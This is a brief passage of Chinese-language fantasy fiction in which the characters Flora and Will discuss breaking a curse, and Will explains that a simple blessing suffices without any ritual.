“诅咒的破除?”芙罗拉思考一番后摇头,“我没有倾注太多心神在这一方面。” 威尔不禁清嗓道:“原来如此。你对此没有太多的了解,难怪你会现在都没想到这点。事实上,没有比这更简单的事了。” 他腼腆一笑。 “——是的,没有任何复杂的仪式,仅仅一个祝福就足够了。”